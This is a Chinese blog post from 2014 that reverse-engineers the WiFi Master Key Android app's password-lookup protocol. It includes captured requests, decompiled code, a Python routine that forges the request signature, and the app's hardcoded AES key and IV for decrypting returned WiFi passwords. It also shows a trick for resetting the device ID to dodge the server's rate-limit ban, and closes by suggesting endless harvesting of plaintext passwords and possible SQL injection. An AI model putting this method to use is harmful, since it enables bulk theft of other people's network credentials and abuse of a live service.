WIFI万能钥匙协议分析

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WIFI万能钥匙协议分析

作者：enimey

时间：2014.10.28

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前段时间实验室需求，分析过WIFI万能钥匙的原理，现在空了写个博客记录下。

版本：2.9.38（不是最新版）

操作系统：Android

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通过真实使用该软件后，可以得到一个初步的猜测，点击一键查询万能钥匙，该软件会收集附近WIFI热点相关信息

，并上传到服务器，服务器在数据库中进行相关查询，然后将查询结果返回。还有一个功能是本地字典破解。

我们这里只研究第一种。

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首先进行抓包分析，如何抓手机包这里就不介绍了，百度、谷歌都可以解决。点击一键查询万能钥匙后，

抓包结果如下（部分敏感信息我进行了人为修改）：

发送包：

POST /wifiapi/faNaNd HTTP/1.1Content-Length: 736Content-Type: application/x-www-form-urlencodedHost: wifiapi02.51y5.netConnection: Keep-Aliveoch=guanwang&ii=355136033391516&appid=0001&pid=qryapwd%3Acommonswitch&mac=13%3A68%3A3f%3A86%3Acc%3Ab8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4%2C14%3Ae6%3Ae4%3A88%3A44%3A7c%2C00%3A87%3A36%3A00%3Aed%3A80%2C38%3A59%3Af9%3Ae3%3Aaa%3Af7%2C0a%3Aa3%3Ac4%3Ac0%3Acc%3A1d%2C16%3Ae5%3A43%3Aba%3A52%3A67%2Ce6%3Ad3%3A32%3A06%3Ae1%3A31%2C88%3A53%3A2e%3Ad0%3Ad1%3Abd%2Cd8%3A24%3Abd%3A76%3A60%3Aaa%2C&v=508&ssid=test%2C518%2C%E4%B8%80%E5%8F%B6%E7%9F%A5%E7%A7%8B%2C%E5%8D%A7%E6%A7%BD%EF%BC%8C%E5%B1%85%E7%84%B6%E6%9C%89WiFi%2CATY-PC%2Cuuuuuu%2CTP-LINK_517%2C360WiFi-0009%2Ccisco-60A8%2C&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147url解码后：och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd:commonswitch&mac=12:68:3f:86:cc:b8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa,&v=508&ssid=test,518,一叶知秋,卧槽，居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8,&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147

返回包：

{    "retSn": "446c7c3434754f57b54935a5ea8cb173",    "qryapwd": {        "retCd": "0",        "psws": {            "d8:24:bd:76:60:aa": {                "bssid": "d8:24:bd:76:60:aa",                "pwd": "4924364E06341F06F90F3BD86C7DDBCE98A24FCE8457589BB0D89CB103157EB0",                "hid": "A7C2DEC47A6594251B6329AE48A9B6BF",                "xJs": "",                "ssid": "cisco-60A8",                "xUser": "",                "type": "internet",                "xPwd": "",                "securityLevel": "2"            },            "14:e6:e4:88:44:7c": {                "bssid": "14:e6:e4:88:44:7c",                "pwd": "108C505B25B2D8FB2CC4E749A13F0D29FE94164E427BC27E6DECB5F943959188",                "hid": "346C68D54F9219A2CDA1549323BD3A3A",                "xJs": "",                "ssid": "518",                "xUser": "",                "type": "internet",                "xPwd": "",                "securityLevel": "2"            }        },        "topn": {            "e6:d3:32:06:e1:31TP-LINK_517": 50,            "38:59:f9:e3:aa:f7..................WiFi": 10,            "48:d2:24:5d:e2:e4test": 0,            "16:e5:43:ba:52:67uuuuuu": 0,            "d8:24:bd:76:60:aacisco-60A8": 0,            "88:53:2e:d0:d1:bd360WiFi-0009": 0,            "00:87:36:00:ed:80............": 0,            "14:e6:e4:88:44:7c518": 0,            "0a:a3:c4:c0:cc:1dATY-PC": 0        },        "qid": "446c7c34-3475-4f57-b549-35a5ea8cb173"    },    "retCd": "0",    "commonswitch": {        "retCd": "0",        "switchFlag": "false"    }}

很明显，客户端一个POST请求（POST内容包括了WIFI相关热点信息、本机信息、命令信息、版本信息等），

服务器返回的数据里就包含了加密过后的WIFI密码（pwd字段）；

通过多次抓包对比，POST数据字段的特点如下：

och：guanwang //固定不变

ii：355136033391516 //手机识别码

appid：0001 //固定不变

pid：qryapwd:commonswitch /类别字段

mac：12:68:3f:86:cc:b8 //本机mac地址

lang：cn //语言字段

sign ： 881FF8FB34BF53A8C598147BC2668215 //签名字段？

bssid：

48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,

16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa, //WIFI热点mac地址

v：508//版本字段

ssid：test,518,一叶知秋,卧槽，居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8, //WIFI热点ssid

method：getSecurityCheckSwitch //命令字段

uhid：a0000000000000000000000000000001 //固定字段

st：m //固定字段

chanid：guanwang //固定字段

dhid：40289ec14942672d014954ad909a1147 //设备字段？

尝试用python重发该POST，服务器返回如下：

{'retCd': '-1111', 'retMsg': '商户数字签名错误，请联系请求发起方！', 'retSn': '50523aa899974790b8867d052a942805'}

所以，很明显sign字段值错误，需要逆向该APK找到sign字段值的生成算法。

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反编译该APK，全局搜索字符串“sign“，结合method profiling，定位到关键代码：

com/snda/wifilocating/e/u中的函数public static final JSONObject a(String arg14, Map arg15)：

    public static final JSONObject a(String arg14, Map arg15) {        HashMap v8_1;        String v1_6;        JSONObject v2_6;        Exception v13_1;        long v6;        JSONObject v1_2;        JSONObject v4_4;        int v2_2;        String v4_3;        SocketTimeoutException v2_3;        String v13;        int v3_1;        String v5_1;        Exception v2_4;        String v3;        long v9;        JSONObject v0_1;        String v0;        GlobalApplication v1 = GlobalApplication.a();        if(!arg15.get("pid").equals("initdev:commonswitch") && !arg15.get("pid").equals("binddownload")                 && !v1.b().f()) {            new StringBuilder("no dhid for pid:").append(arg15.get("pid")).toString();            v0 = ak.a();            if(TextUtils.isEmpty(((CharSequence)v0))) {                v0_1 = null;                return v0_1;            }            else if(!v1.b().g(v0)) {                HashMap v2 = new HashMap();                v2.put("dhid", v0);                ak.a("fndhid", "writedhidtoprefsfail_" + arg15.get("pid"), v2);            }        }        HashMap v7 = ak.e();        v0 = aw.j();        if(TextUtils.isEmpty(((CharSequence)v0))) {            v0 = aw.r();        }        String v2_1 = "mac";        if(TextUtils.isEmpty(((CharSequence)v0))) {            v0 = "";        }        ((Map)v7).put(v2_1, v0);        ((Map)v7).put("ii", v1.c());        ((Map)v7).put("dhid", v1.b().a());        if(!arg15.get("pid").equals("vwoasid")) {            ((Map)v7).put("uhid", v1.b().c());        }        if(arg15 != null) {            ((Map)v7).putAll(arg15);        }        Object v0_2 = ((Map)v7).get("pid");        if((((String)v0_2).equals("shareap")) || (((String)v0_2).startsWith("qryapwd")) || (((String)                v0_2).startsWith("qryapwdwithvcd"))) {            ((Map)v7).put("sign", ae.a(((Map)v7), GlobalApplication.a().b().S())); //sign的生成算法        }        else {            ((Map)v7).put("sign", ae.a(((Map)v7), l.c));        }        .......

定位到ae.a函数（参数arg5为POST内容的map表，参数arg6为服务器返回的retSn字段值）：

    public static String a(Map arg5, String arg6) {        new StringBuilder("---------------key of md5:").append(arg6).toString();        Object[] v2 = arg5.keySet().toArray();        Arrays.sort(v2);        StringBuilder v3 = new StringBuilder();        int v4 = v2.length;        int v1 = 0;    label_11:        if(v1 < v4) {            v3.append(arg5.get(v2[v1]));            ++v1;            goto label_11;        }        v3.append(arg6);        return ae.a(v3.toString()).toUpperCase();    }            public static final String a(String arg7) {        String v0_2;        try {            byte[] v2 = MessageDigest.getInstance("MD5").digest(arg7.getBytes("utf-8"));            StringBuffer v0_1 = new StringBuffer();            int v1;            for(v1 = 0; v1 < v2.length; ++v1) {                String v3 = Integer.toHexString(v2[v1] & 255);                v0_1 = v3.length() == 1 ? v0_1.append("0").append(v3) : v0_1.append(v3);            }            v0_2 = v0_1.toString();        }        catch(Exception v0) {            v0.printStackTrace();            v0_2 = "";        }        return v0_2;    }

从而得出sign的算法为：客户端首先构造POST内容的map表，并按照键sort排序后，将值连接成字符串1，

最后与服务器返回的retSn字段值连接为字符串2，取字符串2的md5值并转换为全大写字母，这样就得到了sign值。python3代码为：

def getSign(data, retSn) :if 'sign' in data :del(data['sign'])sign = ''keyList = sorted(list(data.keys()))for i in range(len(keyList)) :sign += data[keyList[i]]sign += retSnsign = hashlib.md5(sign.encode('utf-8')).hexdigest().upper()print(sign)return sign

解决了sign字段后，服务器成功返回了正确的数据，但是返回的pwd是加密过后的，我们还需要解密。

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同样，反编译该APK，全局搜索字符串“dofinal”，结合method profiling，定位到关键代码

com/snda/wifilocating/f/a中的函数public final String b(String arg7)：

    public final String b(String arg7) { //参数arg7为加密过后的pwd，函数返回值即为解密过后的pwd        byte[] v1_1;        byte[] v0_2;        int v5 = 2;        String v0 = null;        if(!aq.a(arg7)) {            try {                this.c.init(2, this.b, this.a); //this.b为SecretKeySpec；this.a为IvParameterSpec                Cipher v2 = this.c;                if(arg7 != null && arg7.length() >= v5) {                    int v3 = arg7.length() / 2;                    v0_2 = new byte[v3];                    int v1 = 0;                label_21:                    if(v1 >= v3) {                        goto label_12;                    }                    v0_2[v1] = ((byte)Integer.parseInt(arg7.substring(v1 * 2, v1 * 2 + 2), 16));                    ++v1;                    goto label_21;                }            label_12:                v1_1 = v2.doFinal(v0_2);            }            catch(Exception v0_1) {                throw new Exception("[decrypt] " + v0_1.getMessage());            }            v0 = new String(v1_1);        }        return v0;    }

通过smali注入，得知this.b和this.a的值为固定值：

this.b = "jh16@`~78vLsvpos";

this.a = "j#bd0@vp0sj!3jnv";

这里就是一个简单的aes解密函数，其中IV = “j#bd0@vp0sj!3jnv”，KEY="jh16@`~78vLsvpos"，

填充方式为"AES/CBC/NoPadding",解密函数的实现请参照上面贴出的代码，我用python3写的解密失败，

只能用java解密，好像是python3和java的AES加解密方式不同的原因，知道的请告知解决办法，贴上我的python3解密代码（未成功）：

def getPwd(pwd) :key = 'jh16@`~78vLsvpos'iv = 'j#bd0@vp0sj!3jnv'# iv = pwd[:16]# unpad = lambda s : s[0:-ord(s[-1])]cipher = AES.new(key, AES.MODE_CBC, iv)pwd = (cipher.decrypt(pwd)).decode('utf-8')print(pwd)

另外，java解密出来的数据，只有中间一部分是密码，头尾貌似是填充。

这样，我们就基本能够实现模拟POST请求，且获得明文密码。然而，当你一天之内，多次请求的时候，服务器会将你屏蔽掉，

只有第二天才能继续请求。那么服务器是如何确定是你在请求呢？

通过多次测试，修改ii、mac、bssid、ssid均无效，换本机ip也无效，那么就只剩下字段dhid了。

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该文件的相关配置信息是存放在/data/data/com.snda.wifilocating/shared_prefs/com.snda.wifilocating_preferences.xml文件中的，

其中存放了dhid的值，而通过测试，当该APK第一次启动完毕后，该字段的值就存在了，并且一直保持不变，通过阅读相关源代码，

发现dhid的值和retSn一样是从服务器返回的。清空程序数据，重新启动该APK，同时进行抓包，抓包结果如下：

发送包：

POST /wifiapi/faNaNd HTTP/1.1Content-Length: 452Content-Type: application/x-www-form-urlencodedHost: wifiapi02.51y5.netConnection: Keep-Alivecapbssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4&model=Nexus+4&och=guanwang&appid=0001&mac=10%3A68%3A3f%3A86%3Acc%3Ab8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052391516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev%3Acommonswitch&misc=google%2Foccam%2Fmako%3A4.4.4%2FKTU84P%2F1227136%3Auser%2Frelease-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184url解码后：capbssid=48:d2:24:5d:e2:e4&model=Nexus+4&och=guanwang&appid=0001&mac=10:68:3f:86:cc:b8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052333516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev:commonswitch&misc=google/occam/mako:4.4.4/KTU84P/1227136:user/release-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184

返回包：

{    "initdev": {        "retCd": "0",        "dhid": "ff80808149559760014955ca2d901135"    },    "retCd": "0",    "commonswitch": {        "retCd": "0",        "switchFlag": "true"    }}

这样，当服务器封掉我们的时候，只需要再构造一个initdhid的包发送给服务器，用服务器返回的新的dhid替换我们之前的dhid既可解封。

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通过刚才的分析，我们完全可以自己构造POST包不断向WIFI万能钥匙服务器获取明文形式的WIFI密码，并且不会被服务器封掉。

PS：如果不断的做请求，算不算一种脱库的方式呢。话说WIFI万能钥匙的数据库才用了Hibernate，能不能sql注入呢？